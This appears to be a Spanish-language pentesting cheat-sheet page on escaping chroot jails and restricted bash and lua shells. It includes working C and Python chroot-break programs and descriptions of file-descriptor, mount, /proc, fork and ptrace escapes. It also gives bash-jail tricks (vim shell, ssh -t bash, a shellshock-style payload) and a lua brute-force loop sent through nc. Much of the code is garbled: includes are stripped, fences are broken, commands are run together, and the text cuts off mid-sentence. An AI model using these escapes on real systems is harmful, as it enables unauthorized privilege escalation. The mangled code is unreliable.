Desde wikipedia: El mecanismo chroot no está destinado a defender contra manipulaciones intencionales por usuarios privilegiados (root). En la mayoría de los sistemas, los contextos chroot no se apilan correctamente y los programas chrooted con suficientes privilegios pueden realizar un segundo chroot para escapar.
Por lo general, esto significa que para escapar necesitas ser root dentro del chroot.
La herramientachw00t fue creada para abusar de los siguientes escenarios y escapar de chroot.
Root + CWD
Si eres root dentro de un chroot puedes escapar creando otro chroot. Esto se debe a que 2 chroots no pueden coexistir (en Linux), por lo que si creas una carpeta y luego creas un nuevo chroot en esa nueva carpeta estando fuera de él, ahora estarás fuera del nuevo chroot y por lo tanto estarás en el FS.
Esto ocurre porque por lo general chroot NO mueve tu directorio de trabajo al indicado, por lo que puedes crear un chroot pero estar fuera de él.
Por lo general no encontrarás el binario chroot dentro de una cárcel chroot, pero podrías compilar, subir y ejecutar un binario:
C: break_chroot.c
```c #include #include #include
//gcc break_chroot.c -o break_chroot
int main(void) { mkdir("chroot-dir", 0755); chroot("chroot-dir"); for(int i = 0; i < 1000; i++) { chdir(".."); } chroot("."); system("/bin/bash"); }
</details>
<details>
<summary>Python</summary>
```python
#!/usr/bin/python
import os
os.mkdir("chroot-dir")
os.chroot("chroot-dir")
for i in range(1000):
os.chdir("..")
os.chroot(".")
os.system("/bin/bash")
Esto es similar al caso anterior, pero en este caso el atacante almacena un descriptor de archivo en el directorio actual y luego crea el chroot en una nueva carpeta. Finalmente, como tiene acceso a ese FDfuera del chroot, accede a él y se escapa.
</details>
### Root + Fork + UDS (Unix Domain Sockets)
<div data-gb-custom-block data-tag="hint" data-style='warning'>
Los descriptores de archivo se pueden pasar a través de Unix Domain Sockets, por lo tanto:
* Crear un proceso hijo (fork)
* Crear UDS para que el padre y el hijo puedan comunicarse
* Ejecutar chroot en el proceso hijo en un directorio diferente
* En el proceso padre, crear un descriptor de archivo de un directorio que esté fuera del nuevo chroot del proceso hijo
* Pasar ese descriptor de archivo al proceso hijo usando el UDS
* El proceso hijo cambia su directorio actual a ese descriptor de archivo, y debido a que está fuera de su chroot, escapará de la cárcel
</div>
### Root + Mount
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Montar el dispositivo raíz (/) en un directorio dentro del chroot
* Hacer chroot en ese directorio
Esto es posible en Linux
</div>
### Root + /proc
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Montar procfs en un directorio dentro del chroot (si aún no está montado)
* Buscar un PID que tenga una entrada de raíz/cwd diferente, como: /proc/1/root
* Hacer chroot en esa entrada
</div>
### Root(?) + Fork
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Crear un Fork (proceso hijo) y hacer chroot en un directorio diferente más profundo en el sistema de archivos y cambiar al mismo
* Desde el proceso padre, mover la carpeta donde se encuentra el proceso hijo a una carpeta anterior al chroot de los hijos
* Este proceso hijo se encontrará fuera del chroot
</div>
### ptrace
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Hace tiempo, los usuarios podían depurar sus propios procesos desde un proceso de sí mismos... pero esto ya no es posible de forma predeterminada
* De todos modos, si es posible, podrías hacer ptrace en un proceso y ejecutar un shellcode dentro de él ([ver este ejemplo](linux-capabilities.md#cap\_sys\_ptrace)).
</div>
## Jaulas de Bash
### Enumeración
Obtener información sobre la cárcel:
```bash
echo $SHELL
echo $PATH
env
export
pwd
Modificar PATH
Verifique si puede modificar la variable de entorno PATH.
echo $PATH #See the path of the executables that you can usePATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin#Try to change the pathecho/home/*#List directory
Usando vim
:setshell=/bin/sh:shell
Crear script
Verifique si puede crear un archivo ejecutable con /bin/bash como contenido
red/bin/bash> w wx/path #Write /bin/bash in a writable and executable path
Obtener bash desde SSH
Si estás accediendo a través de ssh, puedes usar este truco para ejecutar un shell de bash:
ssh-tuser@<IP>bash# Get directly an interactive shellsshuser@<IP>-t"bash --noprofile -i"sshuser@<IP>-t"() { :; }; sh -i "
Ten en cuenta que cada vez que ejecutas el comando anterior en un entorno lua diferente, el orden de las funciones cambia. Por lo tanto, si necesitas ejecutar una función específica, puedes realizar un ataque de fuerza bruta cargando diferentes entornos lua y llamando a la primera función de la biblioteca le:
#In this scenario you could BF the victim that is generating a new lua environment#for every interaction with the following line and when you are lucky#the char function is going to be executedfor k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end#This attack from a CTF can be used to try to chain the function execute from "os" library#and "char" from string library, and the use both to execute a commandfor i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done
Obtener un shell interactivo de lua: Si te encuentras dentro de un shell de lua limitado, puedes obtener un nuevo shell de lua (y con suerte ilimitado) ejecutando: